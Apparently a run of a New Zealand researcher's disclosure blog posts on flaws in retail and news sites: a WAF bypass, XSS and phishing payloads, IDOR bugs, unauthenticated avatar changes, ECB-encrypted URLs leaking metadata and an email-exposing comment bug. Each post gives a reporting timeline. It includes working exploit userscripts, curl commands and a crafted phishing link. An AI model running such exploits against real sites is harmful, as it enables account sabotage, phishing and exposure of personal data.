This is curious because both are POST requests that are made to the same endpoint (/account) and contain the same information except that when I upload my avatar all the image data also gets sent in the request. I suspect that CloudFlare only inspects the first N bytes of the request for anything naughty where N is some number that is apparently smaller than the size of the image I’ve chosen.

I have confirmed that by rearranging the order of the request parameters so that the name is sent before the profile picture that the request is indeed blocked. In theory, one should be able to bypass CloudFlare’s XSS protections by stuffing at least N bytes of data in a junk request parameter before the malicious payload.

It seems that N is equal to around 200kB. I think I’ll use this in the future!

Having Some Fun With It

Okay, now it’s time for a theoretical exercise. We now have a way to execute code under the profile of another user. All they have to do is view my profile and my code gets executed under their account. Here are some of the things we could do:

Sign the user out.
Make the user “follow” my account (aka, making me a celebrity).
Change the user’s name to contain the copy of the same code. This would effectively make the code a worm.
Make the user “love” my business. I feel like this would probably be the most effective use of the vulnerability.
Adding fake pages/forms to the site to trick the user into giving up information.
A combination of the above or anything else you can think of! The only limit is your imagination!

Some of these are more useful than others but it showcases the power that a small security hole can have if exploited by a bad actor.

Aside: Samy Worm

A similar vulnerability existed on the social media website MySpace in 2005. A user named Samy figured out that he could execute JavaScript via custom CSS styles on his profile page. So whenever a user viewed his profile his script would:

Update the bio of the user to include “Samy is my hero”,
Send a friend request to Samy, and
Copy the script itself into the user’s custom CSS styles for their profile page too.

Because this code would copy itself, it propagated to more than one million accounts within a day of its release. MySpace took the site down for a couple of hours to fix the issue. This saw the developer arrested and charged.

Disclosure

April 1st: I reported this issue via the email address on their website.
April 9th: I reached out the their parent company using the form on their website.
April 19th: I called the parent company at their physical office and left a message with reception.
April 28th: I reached out to the CEO of the parent company via a mutual contact on LinkedIn. This seems to have worked to get their attention.
May 1st: The issue has been fixed.

The solution to this problem was to HTML-escape the two locations where the first name was displayed. This has the interesting effect of the header (that was previously okay) being doubly escaped! Overall, the company was difficult to get ahold of but was pretty quick to implement a fix 😌

Note the double-escaped HTML where before they were singly-escaped.

Cover photo by Bill Craighead on Unsplash

Having Some Fun With XSS

Sun, 28 Apr 2024 19:00:00 +1200

Introduction

This particular website belongs to a New Zealand homewares retailer. Like most retailers, they maintain an internet presence in the form of an online store. Unfortunately, the search function on this website has a cross-site scripting (XSS) vulnerability.

The ABCs of XSS

XSS is a general term that refers to the ability for website users to publish unauthorised HTML content to a website. For example, if I search for ex4242mple on the website, I get this normal result:

An innocuous search result.

But, if I search for some HTML like <h1>ex4242mple</h1> (which encodes my text as a large header), I get this result:

The HTML search term, rendered.

This HTML header gets rendered right there in the page. And like most search pages, this search term is included in the URL. This means that the URL can be shared with other people and then they can also see the same HTML being rendered.

Limitations

Through a bit of trial and error I was able to find a couple of limitations for this particular bug as it pertains to this website:

We are limited to 128 characters of input; anything more than that will be truncated by the web application.
The website is protected by Cloudflare’s WAF; this means that we can’t execute any JavaScript. Although this WAF can sometimes be bypassed, it isn’t possible here since the payload is sent via the query parameters in the URL.

With these limitations it is difficult to do anything malicious and with those in mind, I’ll showcase a couple of examples of what one can do with this issue.

Having Some Fun

Searching for <img src="https://imgs.xkcd.com/comics/eclipse_clouds.png"/>, we can add an image to the page:

An XKCD comic embedded in this online shopping website.

With <style>img{transform:filter(blur(5px))}</style>, we can blur all the images on the page:

We can apply a CSS blur filter on all the images.

With <style>body{transform:scaleX(-1)}</style>, we can flip the page backwards:

Another CSS trick to flip the page along the x-axis.

Potential Uses

Adding Forms

We can use a technique named cross-site request forgery (CSRF) in conjunction with our XSS vulnerability. CSRF is when we trick the user into making a change that they didn’t intend. Because we don’t have JavaScript at our disposal, we can use plain old HTML forms to make requests to endpoints within the website’s account management API. Of course, the user will have to initiate the request by clicking the submit button first.

For example, it may be possible to change the user details of a logged in user using this method. Fortunately, due to the way this website handles updates to the user’s sign-in information, it wouldn’t be possible to change the user’s email or password using this method.

Here’s an example of a form that could be modified to make changes to a logged in users profile:

1

<form method=POST action="/some-url"><button>Do bad thing.</button></form>

We can inject an HTML form to trick the user into doing things.

Note: this could be extended to placing a form that looks similar to the sign in form, except it exfiltrates the user’s credentials to some 3rd party site. However, this would probably count as phishing.

Phishing

This is probably the most viable use of this particular vulnerability. We can embed a link to another website and then use that website to get information from the user. Because this retail website hosts the link to our malicious website, the user may choose to trust it.

By using the search term <h1>Congratulations</h1>You have won! Click <a href="#">here</a> to claim your prize.</style><!-- (in reality a proper URL would replace the #), we get this:

A malicious link to a different website.

This could be spread to a victim by sending them a link via email or social media:

1

https://www.website-name.co.nz/search2/?q=%3Ch1%3ECongratulations%3C%2Fh1%3EYou%20have%20won!%20Click%20%3Ca%20href%3D%22%23%22%3Ehere%3C%2Fa%3E%20to%20claim%20your%20prize.%3C%2Fstyle%3E%3C!--

To most people, this link doesn’t look suspicious; users are used to long URLs with multitudes of tracking information in them. This link wouldn’t look out of place. We could also percent-encode the remaining characters to further obfuscate it if we wanted to.

Buy One, Get One Free!

The parent company of this website also owns a sports-oriented sister company. And sure enough, because both websites are built on the exact same technology, the same XSS issue exists there too.

Disclosure

I reported this issue to the website administrators via their contact form on the 5th of April. They got back to me later that day informing me that they had notified their web development team. I suspect that this company doesn’t have their own internal development team and instead relies on a 3rd-party for this.

At the time of publishing this post — 3 weeks after reporting the issue — the issue has not been fixed. However, since the potential for abuse is low and it’s in the process of being fixed, there shouldn’t be too much of a problem with publishing this information.

Cover photo by Greyson Joralemon on Unsplash

Customise Your Toy Shopping Experience with XSS

Sun, 21 Apr 2024 15:30:00 +1200

Introduction

This website is one of several online retail stores specialising in children’s toys. Their website has all the standard features you would expect from an online store including the ability to create an account. Unfortunately the “update details” page contains a minor cross-site-scripting bug.

An unassuming account details form, ripe for exploitation!

Cross-Site-Scripting (XSS)

In general, XSS refers to a vulnerability in a website that allows a user to submit HTML to the website and to have that HTML render in the browser. XSS may be quite serious since it can involve getting JavaScript to execute on another user’s browser. XSS comes in a couple of different flavours, you can read more about XSS here but I’ll run through the basics.

Reflected XSS

This occurs when a user is able to submit data to a website (for example, in a form) and the data is “reflected” back to the user’s browser in the HTTP response. This is usually not too much of an issue since browsers have gotten much better at detecting this and preventing scripts from running.

Stored XSS

This one can be more serious since instead of the malicious data coming straight back to the user’s browser it is stored on the server first. This can mean that if any other user views this data on the website that the unescaped HTML might be rendered on their browser too. And because the victim’s web browser has no way of telling apart the website HTML from the malicious HTML, the browser will happily render all the data, including any scripts that might have been included by the bad actor.

Injecting the Update Details Page

In the case of this website, we have a stored XSS vulnerability via the first name of the user. For example, if I change my first name to:

1

<style>body{ background: pink; }</style>

Then the background of the whole page turns pink. That’s kinda neat 😸

A nice pink-coloured background for my update details page.

We can also include picture is we want to:

If you like looking at cats when you're expecting your name, well, you're in luck!

And even an old-school marquee tag:

We can also do some '90s-style animations using the `marquee` tag.

Limitations

However, due to how the “first name” is returned to the browser, there are a couple of limitations on what kind of data can be used for XSS:

The page will only render the first 150 characters of the user’s first name.
If the backend detects any scripts in the request it will reject them (there may be a WAF sitting in the middle here).
This means that we cannot do anything too clever, unfortunately.
As far as I can tell, the HTML is only ever run on the “update details” page of the site and is only visible by the user whose account it is.

So, really this issue isn’t all that bad. Even though the HTML is stored in the database it behaves more like a glorified reflected XSS vulnerability. The most exciting thing we can do here is add some custom styles to the page or add other HTML elements (such as video, etc).

Protecting Your Websites from XSS

There’s really only one good way to prevent XSS from happening to your sites, and that’s to HTML escape any user-provided data. If you’re not using a templating library this essentially just involves replacing all the < and > symbols with < and > symbols respectively. Depending on how the data is injected into the page you may also want to escape any quotes from user-provided data.

However, most backend web frameworks have a templating engine built in to them that will do all this for you so there’s likely not much that you need to do yourself. The litmus test I usually use to quickly determine if a field of a website is vulnerable is to put in <h1>test</h1> and see if it actually renders a heading or if it escapes (or even removes!) those angled brackets properly.

More Widespread than I Thought

I suspect that the XSS problem is less of an issue with this particular site and more of an issue of the CMS that is being used by this site. Unfortunately, I have no idea what CMS is being used and have tried my best to figure it out! The reason I think this is that there is another popular NZ website that looks very similar (in HTML structure, administration panel, etc) and it has the exact same XSS vulnerability.

A second website with the same issue.

The administration panel for this website uses the logo “Cody” and a URL “meetcody.io” which doesn’t currently exist. I have not been able to find any mention of “meetcody.io” it on Google, or on the Wayback Machine (there appears to be a “meetcody.ai” project that is unrelated and poisons my search results for “meetcody”). I think that this CMS/website builder is proprietary software that isn’t offered to the public.

Disclosure

I reached out to the website administrator on the 31st of March 2024 via email and received no response. I reached out to the owners of this website again on the 9th of April via their Facebook page. They informed me that they had passed my email on to their external web development team. I suspect that this team is responsible for the aforementioned CMS.

I have decided to publish this post while the issue still exists since the potential for abuse is low.

Cover photo by Jerry Wang on Unsplash

Deactivating Other People's Accounts on a Retail Website

Mon, 15 Apr 2024 18:00:00 +1200

Introduction

In the previous article on changing the avatars of other accounts I briefly discussed how each account has a user ID that is associated with it. We saw how knowing the ID of another account could be used to change that account’s avatar. It turns out there’s something else we can do that is way more interesting.

User Management

This website allows one account to be managed by many users. This would be useful for a business, for example, where it may have more than one person purchasing items from this website. When you create an account you automatically have the ability to start adding more users under your own account. These settings can be found in “user management” section of the account menu. Not only can we change the settings of a user that has signed up underneath us but also the settings of our own account.

Some of the options we have available to us.

As you can see in the image above, one of the settings is named “User Active”. If we uncheck this box and save the form, the currently signed in user is signed out and is unable to sign back in without opening a support ticket. I don’t know if this is intentional, since it seems a little strange that a user can brick their own account on accident (ask me how I know).

Targeting Another User

Right clicking the form (specifically the submit button) and inspecting the elements reveals a hidden field nearby with a user ID in it. We know what to do with this!

The hidden user ID field in the user management form.

Let’s see what happens if we were to replace that user ID with the user ID of a different account (that we control, of course). Let’s also ensure that the “User Active” checkbox isn’t ticked. After submitting the form, the page reloads and the “User Active” checkbox is ticked again. Upon reloading the tab with the target user account we can see that we are redirected to the sign in page. Any attempt to sign in results in the following error.

Uh-oh! It seems as though we can deactivate anybody's account.

Similar to the previous issues I’ve found on this website, this one comes down to the backend not checking whether or not we have permission to perform an action.

A Proof of Concept

Since this issue is fairly bad I decided to make a userscript that could make deactivating user accounts as simple as clicking a button. If you are unfamiliar, a userscript is like a mini browser extension that is loaded into every page of a particular website that enables some functionality. You’ll need a userscript browser extension to run them such as TamperMonkey.

This userscript adds a bomb button to each review that wasn’t written by a “guest”. When clicked, this button will deactivate the reviewer’s account. This works for testimonials as well.

Say goodbye to bad reviews!

It works on testimonials too!

You can find the source below. It’s not a lot of code for the amount of damage one could do with this hack. Of course, by the time you’re reading this, the issue will be fixed and this code won’t do anything but I like to show that you can achieve quite a lot with very little. The developers reading this will note that this could be simplified a lot more by simply using the Fetch API.

Click to expand source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


// ==UserScript==
// @name Deactivate Any User
// @namespace https://jesse.hacks.nz/
// @version 2024-03-23
// @description Adds a button to reviews that allows you to deactivate the reviewer's account.
// @author Jesse Sheehan
// @match https://www.website-name.co.nz/*
// @grant none
// ==/UserScript==

(function() {
 'use strict';

 const containers =
 [...document.querySelectorAll(".js-report-user-content:not([data-uid='0'])")]
 .map(div => div.parentNode);

 containers.forEach(container => {
 const userId = container.querySelector(".js-report-user-content").getAttribute("data-uid");
 const div = document.createElement("div");
 div.innerHTML = `
 <form method="post" action="/my-account/user-management">
 <input type="hidden" name="user_id" value="${userId}" />
 <input type="hidden" name="submit_edit_user" value="Update Details" />
 <button type="submit" title="Deactivate User" style="width:24px; height: 24px; padding:0;">💣</button>
 </form>
 `;
 container.appendChild(div);
 });
})();

Interestingly, even after a user is deactivated all their reviews are still present on the site. This leads me to believe that it simply prevents users from signing in normally but preserves their user details.

And of course, since the user ID is just a positive integer, it would be trivial to write a script to deactivate everyone’s account with this trick.

Disclosure

This issue was found on the 24th of March 2024. Since I already had two other support tickets in flight I decided not to reach out to them specifically on this one. I was contacted on the 27th of March by this website’s support team and it was fixed within one week of that. They no longer include the user ID field in the form, instead opting to use the user ID of the logged in user. I was impressed by the response time of their development team and their eagerness to improve the security of their website.

Cover photo by Kai Pilger on Unsplash

Change Other People's Avatars on a Retail Website

Sat, 06 Apr 2024 16:00:00 +1300

Introduction

This particular online retail store has an avatar feature for user accounts. As in, your account has a little picture (an avatar) that is associated with your account. One of the places this little picture is used is when you write a testimonial or product review; it is placed next to your name.

An example of a product review with an avatar. Choo choo.

Anyway, one can change their own avatar by going to their “personal settings” page. You’ll find that there are two options relating to your avatar there: you can upload a custom avatar, or reset it back to the default.

The options available to set or reset your avatar.

A Primer on User IDs

Each account on this website has a unique positive integer known as a user ID. You can find your own number by going to your account dashboard and looking at your account number. Your user ID is the number part after the letters.

In this case, the user ID is 1973851.

You can also find other people’s user IDs scattered about the DOM. For example, inspecting the button to report a review will reveal the user ID of the reviewer (pictured).

The 'data-uid' attribute contains the user ID of the reviewer.

There are many other ways of finding out the ID of a user; this is just one of them. Armed with someone else’s user ID you can now perform some actions on their behalf.

Resetting Any Avatar

Let’s assume there is another account on this website that has an avatar (I imagine there are lots of these, in fact, the majority of the accounts on the site are likely not yours). Let’s also assume that you know the user ID of that account.

All you need to do now to reset someone else’s avatar is to make an HTTP POST request to /code/ajax_avatar_reset_pdo.php with the body uID=123456 where 123456 is the user ID of that other user. You should receive back a JSON success message. This is the same request that is made when you reset your own ID except that you are providing someone else’s ID instead.

This is probably less than ideal. Imagine if you took great care in selecting an avatar and then one day you find that your picture had been reset to the default avatar. That would suck!

Setting Any Avatar

The second issue is that you can essentially do the same thing but instead of resetting an avatar, you can instead set it to anything you want.

All you need to do here is to send a POST request to /code/ajax_avatar_upload_pdo.php with the following body (and a multipart/form-data content-type header with the appropriate boundary) and you’ll be able to change the avatar of any user on the site. This endpoint returns a success message as well as the filename of the image that can be used to build the URL for it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


-----------------------------263549667038225259264045948163
Content-Disposition: form-data; name="uID"

INSERT TARGET USER ID HERE
-----------------------------263549667038225259264045948163
Content-Disposition: form-data; name="avatarImage"; filename="meme.jpg"
Content-Type: image/jpeg

INSERT RAW IMAGE DATA HERE
-----------------------------263549667038225259264045948163--

As you can imagine, this issue is much more problematic than the previous one.

An aside about Firefox Devtools

For some reason, when I was using Firefox’s devtools to replay the request, the image gets partially garbled. I cannot figure out why this happens but I suspect it is a bug to do with the binary encoding/decoding in the replay panel.

My avatar (left) compared with the avatar I uploaded for my other account (right).

However, I can confirm that this is just a quirk of Firefox.

No Auth Here

Reading this post you might be thinking “okay, well this is obviously a case of the backend not checking the ID of the signed in user”, and you’d be right… kinda. It’s a bit more complicated than that, because you don’t actually need to be signed in at all! It turns out these endpoints are completely unauthenticated. Yeah, you can just fire off an anonymous request to perform these actions 😬.

A demonstration of the avatar upload.

Change an Avatar with cURL

Assuming that you have an image named “meme.jpg” in your current directory, and your target user’s ID was “???”, then the following will allow you to change their avatar. This is how I was able to confirm that the image corruption issue earlier was related to Firefox’s devtools.

1

curl -X POST https://www.website-name.co.nz/code/ajax_avatar_upload_pdo.php -F 'avatarImage=@meme.jpg' -F 'uID=???'

Reset an Avatar with cURL

Similarly, an avatar can be reset:

1

curl -X POST https://www.website-name.co.nz/code/ajax_avatar_reset_pdo.php -F 'uID=???'

Look ma; no creds!

Potential Impact

Because of the following factors, this issue could be pretty serious:

There is no authorization layer on these endpoints.
There is no authentication layer on these endpoints.
All user IDs are just postive integers.

It would be trivial for one to write a script to iterate over all the users on the site, changing or resetting them as they wish. I imagine this would cause more than a few headaches for this website’s support team. Furthermore, it does not appear that old avatars image files are actually deleted from this website’s servers (free cloud storage, anyone?).

Disclosure

At this point in time I already had one support email in flight requesting an audience with this website’s support team, so I figured I’d try and get their attention with a different tactic. This website has a sister company that offers “Penetration testing and Vulnerability assessments”; at the bottom of that page was a contact form that I used to notify them of this issue.

Perhaps they need to hire themselves, eh?

After reaching out via the form on the website on the 24th of March 2024 I received a response on the 27th of March. These issues were fixed within a few days of being reported. Their solution was to remove the uID request parameter and instead just make the endpoints operate on the signed-in user. This is a good solution to the problem; in the general case it doesn’t make sense to pass in a user ID when making these kinds of changes.

Cover photo by Ben Sweet on Unsplash

Your Order History: For All the World to See

Sat, 30 Mar 2024 22:45:00 +1300

Introduction

This website is one of New Zealand’s largest online tech retailers. They have been in business since the ’90s and have made a name for themselves as the place to go if you want to buy pretty much any electronic device. They also have a seemingly aging PHP backend for their website; this is good news for would-be hackers.

In my opinion, the most interesting features of this website are the ones that require you to be logged in. As an example, when you are logged in, you can look over transactions that are associated with your account.

My invoice as viewed from my own account.

However, what happens if you change the transaction ID in the URL to be something else? This is something I attempt often on websites since it seems to be handled incorrectly fairly often. In the above picture, what happens when we add 1 to the ID, changing the “202” to “203”? Well, see for yourself…

Someone else's invoice. This could be from a walk-in cash sale.

Yep, that’s someone else’s order alright. Replete with all the details you could possibly want. I suspect that the “ordered by” field in this case relates to the specific till that was used for the cash sale. Further down the page we can also see the line-by-line breakdown of the items purchased.

If Only It Were That Easy

After discovering this first one my next instinct was to try and find other transactions to see if this was just a one-off. Many IDs I tried to enter into the URL I was not allowed to view.

Because of this I’m not entirely sure what the rule is that determines whether or not anyone with any account can view the order? Perhaps it’s to do with whether or not it was an in-store cash sale versus an online order. Perhaps that order doesn’t actually exist. I’m really not sure.

A random invoice number that doesn't work.

Interacting with the Order

At the bottom of the page is a form where you can contact the support team of this website about your order, as well as a history of messages that have been sent.

I decided to send a message from one account onto the invoice of another account. The request appears to have been accepted by the server but no message appeared in the message history.

Getting Personal(ly Identifiable Information)

Okay, so being able to read arbitrary invoices isn’t particularly damning (although it is absolutely concerning that this information is available). I also wanted to check to see if someone could view my personal information using this trick. I found an order of mine that had an old delivery address on it and attempted to view it while signed in to a different account.

My invoice. As viewed from another account. This is bad.

I wasn’t thrilled to learn that my name, address, and purchase history are just on display for anyone in the world to view. This is probably not what people who use this website expect when they make purchases. I know I certainly didn’t expect this!

Disclosure

I reached out to this website’s support email address to report the issue on the evening of March 21st 2024. Six days later my support ticket was followed up on and I was able to provide their team with the details of this issue and two others (coming soon to this blog). Within three hours of me providing them with the details this issue was fixed and I was no longer able to view my own order information from other accounts.

I was pleasantly surprised by how quick and effective the team at this website were in fixing this issue. Great job!

Cover photo by Towfiqu barbhuiya on Unsplash

Encryption, Stacktraces, and Name Suppression

Mon, 18 Mar 2024 04:00:00 +0000

Introduction

All images served up for this news website’s articles are served up the endpoint https://www.website-name.co.nz/media/images/ID where ID is some long base64-encoded value. Here’s an example from an article on the front page as of the time of writing:

1

https://www.website-name.co.nz/media/images/9Tzi8ywRz924XE3uHaD6DZ3Ef+IdbOiYlvIROR5vlqUeRrexTocZGobKRJ9od%2Fgnk3B%2FCeKTmTAsIjj6Q0YaYcLyRwausPZfVbc+6rgDXDwXj2ysufSzBX52yG5ththUqe3QWSNvUpnWA5sdvhQBENmqBcVGXqc3GzobcuKW3cc+Gasjmk9JNPTGHx5HANypmSPLUVP3hLDnjMERdZWzoFbgjIRiiOrUEmcSFb%2Fd8LM=?resolution=620x350

This endpoint appears to also be doing some resizing of the image. This is all well and good and is in fact, common practice.

However, if we take the base64 ID and change it manually - let’s say we change the first character to a 0 - then instead of a boring error page we are met with a very intesting stacktrace:

The stacktrace from changing one character in the image ID.

1
2
3
4


{
 "status": "INTERNAL_SERVER_ERROR",
 "message": "Unexpected character ('�' (code 65533 / 0xfffd)): expected a valid value (JSON String, Number, Array, Object or token 'null', 'true' or 'false')\n at [Source: (String)\"�\\u0008��O��퉢�!�\\u0011\\u0013i\\u000B/platform-admin-media.website-name.co.nz/s3fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg?VersionId=meSADsuNl6BRJyf0Oq61Lr7PSVRvAOwQ\",\"mode\":\"fill\"}\"; line: 1, column: 2]"
}

We can tell a few things from the information here:

The shape of this stacktrace tells us that this endpoint is likely written in Java.
It looks like we have a partial URL in there that might contain the original image.
And if that’s the case, then from s3fs-public we can assume that there is an S3 bucket out there somewhere with all of the photos sitting in it.

So, what happens if we change a character later on in the ID?

The stacktrace after changing a character later on in the ID.

1
2
3
4


{
 "status": "INTERNAL_SERVER_ERROR",
 "message": "Illegal unquoted character ((CTRL-CHAR, code 30)): has to be escaped using backslash to be included in string value\n at [Source: (String)\"{\"image\":\"https://platform-adminc¾2�\\u001E�i\\u0009T�-��\\u001DKnz/s�fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg?VersionId=meSADsuNl6BRJyf0Oq61Lr7PSVRvAOwQ\",\"mode\":\"fill\"}\"; line: 1, column: 38]"
}

Hold on a minute! Let’s compare those URLs from each of these stacktraces:

1
2


�\\u0008��O��퉢�!�\\u0011\\u0013i\\u000B/platform-admin-media.website-name.co.nz/s3fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg
https://platform-adminc¾2�\\u001E�i\\u0009T�-��\\u001DKnz/s�fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg

Surely we can’t just stitch the good bits of each of these together to get a valid URL. Oh goodness, we can!

How Did This Work?

Based upon how the data in the stacktrace is returned, it appears that the big ID in the URL is in fact encrypted using some kind of ECB scheme. Electronic code book, or ECB, is a method of encrypting data based on some secret key. However, ECB encrypts chunks of the data independently from the others and so opens itself up to the kind of interrogation we have just performed.

To learn more about ECB and why pretty much everything else is better than it, have a look at this Stack Exchange post.

As an aside: one could probably figure out what the secret key is and then maybe even use that to do some SSRF.

Why Does This Matter?

In a nutshell: metadata. The images that are served up by this broken endpoint don’t contain any metadata at all; it has all been stripped out. However, the original images contain all the metadata. Take a look for yourself:

The metadata viewed using onlineexifviewer.com.

I know that this isn’t that exciting but it does create some interesting opportunities.

Breaking the Law?

Name supression in New Zealand is meant to keep identifiable information of certain people out of the media. This can be either temporary or permanent and is often granted when it is determined that having their name and details published would result in extreme hardship.

Take an article where a local nurse has gained name interim suppression as an example. It an includes an image that we can pull the metadata from by using our little trick.

Whoops!

And this metadata includes this man’s full name. Since this is unintentional I don’t believe that this would count as breaking the law in this instance (however, I’m no lawyer 🤷).

Disclosure

There was really only one failing here: never show the end user a stacktrace! (and if you do, then don’t use ECB to encrypt your URLs!)

I reported this to the website’s owners on Sunday the 17th of March 2024 at 9:30am with specific mention of the name suppression issue. By 1:00pm that same day the image was removed from the article and the root cause was addressed the very next day. Now, messing with the URL gives a generic error page. Fantastic!

The new error page.

Cover photo by Eilis Garvey on Unsplash

Lifting PII from a News Website's Comment Section

Sun, 11 Feb 2024 06:08:56 +0000

Update (2024-05-17): The problem has been properly fixed.

Introduction

For better or worse, this news website is one of New Zealand’s most popular online news sources. Its comment section has also garnered a reputation for being one of the most toxic places on the kiwi internet that grandma is likely to stumble across.

About one month ago, this website had a frontend redesign and I made a mental note to have a poke around to see if there were any security flaws. Website redesigns are usually a good source of bugs since so much is changed at once and so the likelihood of something being missed is high. This redesign was no exception; I managed to find three issues with this new website.

~~I will discuss only one of these issues here since there appears to be a mitigation in place for it. The other issues are still being fixed.~~ Update: This is no longer the case, see Encryption, Stack Traces, and Name Suppression for another problem that has since been fixed.

Your Email Address is Public

This website requires that you create an account before commenting on their stories. This is good since it provides them an easy way to moderate content. When you create an account, you are also given a so-called “commenting username” that is used as your handle when you make a comment.

As you can see, I have no way of changing my own handle either.

This website doesn’t run its own commenting system. Instead it uses a 3rd-party service named Coral to handle all of the comments. This is useful, since they don’t have to maintain an entire commenting system. On the other hand, they lose a bit of flexibility and control over what is returned from Coral.

So, what is returned from Coral? It turns out that not only does the “commenting username” get returned, but also the email that the user signed up with is likely returned as well. This poses a problem for this news website; I bet their users weren’t expecting that.

Proving the Point

I can’t very well file a bug report without creating a proof-of-concept to really drive home how badly this misconfiguration really is. So, I introduce to you, the Comment Deanonymiser userscript (see TamperMonkey for more information about userscripts).

Click to Expand the Source Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158


// ==UserScript==
// @name Comment Deanonymiser
// @namespace https://jesse.hacks.nz/
// @version 2024-02-07
// @description Shows authors' and commenters' email address where available.
// @author Jesse Sheehan
// @match https://www.website-name.co.nz/*
// @grant none
// @run-at document-start
// ==/UserScript==

(function() {
 'use strict';
 const log = console.log;
 const comments = [];
 let pollHandle = null;
 let commentRoot = null;

 const originalFetch = fetch;
 window.fetch = async function() {
 const response = await originalFetch.apply(this, arguments);

 const url = new URL(response.url);
 if (url.pathname === "/api/graphql" && url.hostname.includes(".coral.coralproject.net")) {
 const content = await response.json();
 response.json = function() {
 return new Promise((resolve) => resolve(content));
 };
 if (content && content.data && content.data.story && content.data.story.comments && content.data.story.comments.edges) {
 const edges = content.data.story.comments.edges;
 // log("handling edges", edges);
 handleLoadedComments(edges);
 } else {
 // log("Could not handle", content);
 }
 }

 return response;
 };

 const originalOpen = XMLHttpRequest.prototype.open;
 XMLHttpRequest.prototype.open = function() {
 this.addEventListener('load', function() {
 if (this.readyState === 4 && this.status.toString().startsWith("2")) {
 handleLoadedResource(this);
 }
 });
 originalOpen.apply(this, arguments);
 };

 window.addEventListener("load", () => {
 document.body.addEventListener("DOMNodeInserted", (event) => {
 if (event.target.nodeName === "#text" || event.target.tagName !== "DIV" || event.target.parentNode.id !== 'coral_thread') return;
 if (pollHandle === null) {
 pollHandle = setInterval(pollShadowRoot, 100);
 }

 }, false);
 });

 function handleLoadedResource(response) {
 const url = new URL(response.responseURL);
 if (/story\/[0-9]+$/.test(url.pathname)) {
 handleLoadedStory(JSON.parse(response.response));
 }
 }

 function handleLoadedStory(content) {
 const authorDetails = content.author;

 if (authorDetails.length === 0) return;

 const parentElement = document.querySelector(".stuff-box.author-names");
 parentElement.replaceChildren();
 for (let author of authorDetails) {
 const child = document.createElement("p");
 const anchor = document.createElement("a");
 anchor.href = `mailto:${author.email}`;
 anchor.innerText = `${author.name} (${author.email})`;
 child.appendChild(anchor);
 parentElement.appendChild(child);
 }
 }

 function handleLoadedComments(edges) {

 edges
 .flatMap(e => [e.node, ...e.node.allChildComments.edges.map(x => x.node)])
 .forEach(comment => comments.push(comment));
 handleCommentsUpdate();

 }

 function pollShadowRoot() {
 if (commentRoot !== null) {
 clearInterval(pollHandle);
 pollHandle = null;
 return;
 }

 const commentParent = document.getElementById("coral_thread");
 //log(commentParent);

 if (commentParent.children.length > 0 && commentParent.querySelector("div").shadowRoot) {

 const shadowRoot = commentParent.querySelector("div").shadowRoot;
 log(shadowRoot);

 let shadowRootPollInterval = setInterval(() => {
 commentRoot = shadowRoot.getElementById("coral");
 if (commentRoot) {
 commentRoot.addEventListener("DOMNodeInserted", (event) => {
 handleCommentsUpdate();
 });
 clearInterval(shadowRootPollInterval);
 }
 }, 50);

 clearInterval(pollHandle);
 pollHandle = null;
 }
 }

 function handleCommentsUpdate() {
 if (comments.length === 0 || commentRoot === null) return;

 const readyComments = comments.flatMap((comment) => {
 const selector = `#comment-${comment.id}:not([demasked])`;
 const elements = [...commentRoot.querySelectorAll(selector)];

 if (!elements.length) return [];
 return elements.map(element => ([element, comment]));
 });

 readyComments.forEach(([element, comment]) => {

 const usernameElement = element.querySelector("div[class^='Comment-username-']");

 const newChild = document.createElement("div");
 newChild.style.paddingRight = "0.5em";

 const anchor = document.createElement("a");
 if (comment.author.id.includes("@")) {
 anchor.href = "mailto:" + comment.author.id;
 }
 anchor.innerText = comment.author.id;

 newChild.appendChild(anchor);

 usernameElement.parentElement.insertBefore(newChild, usernameElement.parentElement.lastChild);
 element.setAttribute("demasked", "true");
 });

 if (comments.length > 0) {
 setTimeout(handleCommentsUpdate, 1000);
 }
 }
})();

This will extract that delicious PII and display it right next to each comment.

An example of the userscript running. Email addresses redacted for obvious reasons.

It should be noted that not all of this website’s users have their email as their Coral identifier. It seems that if you create a new account today, you will have an integer as your ID. This makes me suspect that only older accounts (probably migrated from their old comment system) are at risk here.

Other Websites

So, does this mean that all the other websites out there that use Coral are also giving out PII like it’s a lolly scramble? Well, no. It doesn’t appear to be the case. Of the several dozen websites that use Coral, it seems that they all use either an integer or a GUID to represent their user’s ID. So it would appear that it is more to do with how this website has chosen to identify their users instead of a flaw inherent in Coral.

NewsTalkZB also uses Coral, but uses GUIDs instead of email addresses for identification.

Disclosure

I reported this issue to the website’s owners on February 7, it was acknowledged on February 8, and it appears that the commenting system was taken down before February 10th. Presumably, they’ve changed the CORS settings for their Coral server as a stop-gap while they remove the PII. I am very happy with how quickly they’ve handled this situation.

The current state of the comments section right now.

Extra: Déjà Vu

Almost 11 years ago, I discovered a similar flaw in this website’s comment section. It was almost exactly the same, in fact. But it had a much more dissatisfying outcome.

The website used to allow users to sign in with a social login (e.g. Twitter/X, Facebook, etc). If a user did this and then commented on an article then the URL of their social media profile would be sent down to everyone who viewed the comment. So I did what I did here: I made a proof-of-concept and submitted my findings. After a phone call and some email back-and-forth a decision was reached!

An email from their editor confirmed that they would just change their terms of service to make this okay. 🤷 I’m glad they are taking the issue more seriously now.

Update (2024-05-17)

